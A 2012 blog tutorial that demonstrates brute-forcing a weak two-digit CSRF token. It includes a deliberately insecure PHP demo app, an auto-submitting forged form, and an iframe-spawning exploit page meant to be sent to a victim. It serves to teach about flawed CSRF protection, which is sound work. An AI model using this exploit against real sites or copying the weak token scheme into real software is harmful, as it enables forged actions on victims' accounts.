Sunday, June 17, 2012

Attacking Defected CSRF Protection:Brute Force


I came across an interesting web application few days back.

That application was using CSRF token on each and every POST request from client side.But the interesting thing was the CSRF token was very small in length and contains only digits between 10 to 99. When CSRF tokens are very lengthy it become almost impossible to guess or brute force it.But in that scenario token guessing was very difficult but bruteforcing was not that much difficult because we only have 99-10 = 90 trials. So i have decided to brute force this token to exploit this condition.

In case of normal CSRF attack what attackers create an HTML page that replicates the fields in some target registration form or bank transfer form as hidden inputs and then runs some JavaScript to submit the form. The form has its action set to post to the bank’s or target application's URL.When victim visit this page it makes a form post back to the main application.

Attack strategy:
To brute force CSRF token we need two JavaScript embedded html file.One will be our CSRF form but bit diffident from a general form used in CSRF attacks.
As CSRF token parameter is dynamic.We have to craft this form in such a way that we can change it at time of hit and trial.

We can do it by passing csrf token value through URL.
But its not enough. We have to pass the CSRF tokens to that csrf form. As our csrf form is JS embedded static html file we have pass the values to the form through browser URL.

I think this diagram will help to understand this scenario.

To demonstrate this I have written a very small vulnerable PHP application with very weak CSRF protection. I know this is very impractical CSRF protection but its enough for us to understand this special CSRF attack scenario.

profile.php

<html>
<head>
</head>
<body>
<h1>CSRF Me Registration form!</h1>
<form name="form1" method="post" action="submit.php">
Name :<input name="name" type="text"></br>
Phone :<input name="phone" type="text"></br>
Email: <input name="email" type="text"></br>
<input name="csrf" type="hidden" value="<?php
$file = 'token.txt';
$token = rand(10, 99);
file_put_contents($file, $token); echo $token;?>">
<input type="submit" value="Save Info">
</form>
</body>
</html>

profile.php looks like:




submit.php

<?php
$tok = $_POST["csrf"];
$n = $_POST["name"];
$p = $_POST["phone"];
$e = $_POST["email"];
$data = file_get_contents('token.txt', true);
if($tok == $data){
echo "<b>Info Saved!</b></br>";
        echo "Name :",$n,"</br>Phone:",$p,"</br>Email :",$e,"</br>";
}
if($tok != $data){
        echo "<b>Wrong CSRF Token!</b>";
}
?>


So here you can see that this PHP application generates a CSRF token each and every time the page profile.php gets loaded.If some one submit the form without generated CSRF token it will not accept the request and show Wrong CSRF Token!

When the form is submitted normally it shows.



If we manipulate the CSRF token it shows:



One thing you can notice that I have coded this application in such a way that it always generates a random CSRF token between 10 to 99 (Line number 12 of profile.php). But without this token normal CSRF attack will not going to work. But this scenario is still exploitable.
HOW??
Let me explain.
We are going to brute force this CSRF token.To brute force this we have to add some extra feature into our normal CSRF form/exploit.
To exploit this condition I have modified a normal CSRF form little bit. Modified form looks like this

csrffrom.html

<html>
<head>
<script>
function fireform()
{
var loc = document.location;
var n = String(loc).split("=");
document.getElementById('tok').value=n[1];
var f = document.getElementById('csrf');
f.submit();
}
</script>
</head>
<body onload="fireform()">
<form id="csrf" method="post" action="http://localhost/csrftest/submit.php">
<input name="name" type="hidden" value="hacked">
<input name="phone" type="hidden" value="hacked">
<input name="email" type="hidden" value="hacked">
<input id="tok" name="csrf" type="hidden" value="">
<input type="submit">
</form>

I will explain the JS part to make it bit clear to you.
We are accessing current browser url by using document.location.

So if we open the file csrffrom.html inside web browser the variable "loc" will hold something like this  

http://localhost/hacker/csrffrom.html

Consider a URL like this

http://localhost/hacker/csrffrom.html?token=12345

Suppose we want to access the value of "token" parameter that is "12345".To do that i have added next line that is 

var n = String(loc).split("=");

Now n[0] will hold http://localhost/hacker/csrffrom.html?token part and n[1] will hold "12345"

In the next few lines we are setting the value of "n[1]" to the CSRF form and submitting the form using JS.

So now if some one access http://localhost/hacker/csrffrom.html?token=123 the form will be submitted to http://localhost/csrftest/submit.php with csrf token "123".

Now our CSRF exploit form is ready.Now we have to try each and every possible combination of that token. We can do it by opening new tabs or we can open new ifrmaes inside a single page.Idea of creating new iferames is better because it will take less memory so chances of crash is less.

So to trigger the brute force process we have to craft another html page like this: 

exploit.html

<html>
<body>
<div id="a"></div>
<script>
for (var i = 10 ;i<=99;i++)
{
var url = "csrfform.html?token=";
url = url+String(i);
frame = document.createElement('iframe');
frame.setAttribute('src',url);
frame.setAttribute('width','70px');
frame.setAttribute('height','90px');
(document.getElementById('a')).appendChild(frame);
}
</script>
</body>
</html>

Make sure exploit.html and csrfform.html are in the same directory. We have to send this exploit.html page to victim.

When the victim will access this page it will create few new iframes with src attribute set to 

http://localhost/hacker/csrffrom.html?token=10
http://localhost/hacker/csrffrom.html?token=11
http://localhost/hacker/csrffrom.html?token=12
http://localhost/hacker/csrffrom.html?token=13
http://localhost/hacker/csrffrom.html?token=14

..
..
and so on.

So whats happening here.When it creates a ifrmae of "http://localhost/hacker/csrffrom.html?token=10" its using the number 10 as CSRF token and submit the registration form.

After successful exploitation the exploit Output.



The iframe height and width can be changed by modifying line 11 and 12 of exploit.html.